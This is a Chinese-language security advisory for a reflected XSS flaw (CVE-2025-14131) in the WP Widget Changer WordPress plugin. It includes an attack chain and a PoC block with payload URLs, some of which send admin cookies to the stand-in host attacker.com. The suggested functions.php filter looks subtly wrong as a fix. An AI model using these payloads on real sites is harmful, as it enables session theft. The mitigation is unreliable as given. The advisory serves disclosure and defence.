CVE-2025-14131 CVSS 6.1 中危

CVE-2025-14131 WordPress WP Widget Changer插件反射型XSS漏洞

披露日期: 2026-01-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-14131

漏洞类型

反射型跨站脚本(XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WP Widget Changer plugin for WordPress

漏洞概述

WP Widget Changer是WordPress平台上一款用于管理小工具的插件。该插件在1.2.5及之前的所有版本中存在一处严重的反射型跨站脚本(XSS)漏洞。漏洞根源在于插件直接使用了PHP的$_SERVER['PHP_SELF']变量且未进行充分的输入清理和输出转义处理。攻击者可以通过构造包含恶意JavaScript代码的URL，诱使其他用户访问该链接，从而在受害者浏览器中执行任意脚本。这可能导致会话劫持、敏感信息窃取、恶意内容注入等安全问题。由于该漏洞无需认证即可利用，且攻击复杂度较低，因此对使用该插件的WordPress站点构成较大安全风险。建议受影响的站点管理员尽快采取修复措施。

技术细节

该漏洞属于典型的反射型跨站脚本漏洞。问题代码位于插件的widget_changer.php文件第162行附近。攻击原理如下：1) 插件直接获取$_SERVER['PHP_SELF']变量值，该变量包含当前执行脚本的路径信息；2) 在将变量输出到HTML页面时，缺少适当的输入验证和输出编码；3) 攻击者可以通过在URL路径中注入恶意脚本代码，如：/wp-admin/admin.php/<script>alert(document.cookie)</script>；4) 当用户访问构造的恶意URL时，浏览器会解析并执行注入的JavaScript代码。由于WordPress管理后台许多页面都使用admin.php作为入口，且$_SERVER['PHP_SELF']经常被用在表单action属性中，这使得漏洞利用更加容易。攻击者通常会结合社会工程学手段，通过钓鱼邮件或即时消息诱导目标用户点击恶意链接。

攻击链分析

STEP 1

步骤1

攻击者构造恶意URL，在WordPress管理路径后注入XSS payload，如在admin.php后添加<script>标签

STEP 2

步骤2

攻击者通过钓鱼邮件、社交媒体或即时通讯工具诱导已登录的WordPress管理员点击该恶意链接

STEP 3

步骤3

受害者浏览器请求恶意URL，服务器返回包含注入脚本的页面

STEP 4

步骤4

浏览器解析HTML时执行注入的JavaScript代码，可以窃取用户cookie、会话令牌或其他敏感信息

STEP 5

步骤5

攻击者利用窃取的会话冒充管理员执行恶意操作，如安装后门、修改内容或窃取数据库信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-14131 PoC - Reflected XSS in WP Widget Changer -->
<!-- Attack URL: Replace 'example.com' with target domain -->
<!--
http://example.com/wp-admin/admin.php/<script>alert(document.domain)</script>

<!-- More sophisticated payload -->
http://example.com/wp-admin/admin.php/<img src=x onerror=fetch('https://attacker.com/log?cookie='+document.cookie)>

<!-- Steal admin session -->
http://example.com/wp-admin/admin.php/<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

<!-- The vulnerable code (widget_changer.php line ~162) -->
<!--
$PHP_SELF = $_SERVER['PHP_SELF'];
?>
<form method="post" action="<?php echo $PHP_SELF; ?>">
<!--

<!-- Usage: Trick user into clicking crafted URL while logged into WordPress admin panel -->

影响范围

WP Widget Changer plugin <= 1.2.5 (all versions up to and including 1.2.5)

防御指南

临时缓解措施

如果无法立即更新插件，可以在WordPress主题的functions.php中添加过滤器来修复该问题：add_filter('script_loader_src', function($src){return strip_tags($_SERVER['PHP_SELF']);}); 或者使用.htaccess规则重写URL移除恶意字符。同时建议管理员在点击链接前仔细检查URL，尤其是包含特殊字符的链接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表